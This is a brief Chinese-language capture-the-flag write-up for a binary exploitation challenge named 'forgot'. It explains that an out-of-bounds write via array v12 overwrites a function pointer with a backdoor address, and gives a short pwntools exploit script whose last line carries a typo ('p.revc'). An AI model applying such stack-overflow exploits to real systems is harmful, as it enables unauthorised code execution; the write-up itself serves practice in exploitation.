forgot
根据提示
应该是在case4break的,把那个位置的地址利用v12的数组越界覆盖位后门函数的地址,看上面的图有提示停在dot,dot表示点,第四句46是点的ascall码,所以应该在四停,核心的逻辑也没推出来,要头秃了,所以简单来说是栈溢出,算出v12到第二个函数地址,那个位置写后门函数
exp如下
from pwn import *
context.log_level = "debug"
p=process("./forgot")
p.sendlineafter("> " , "fantasy")
payload = "a" * 36 + p32(0x80486CC)
p.sendlineafter("> " , payload)
p.revc#记得用这个接收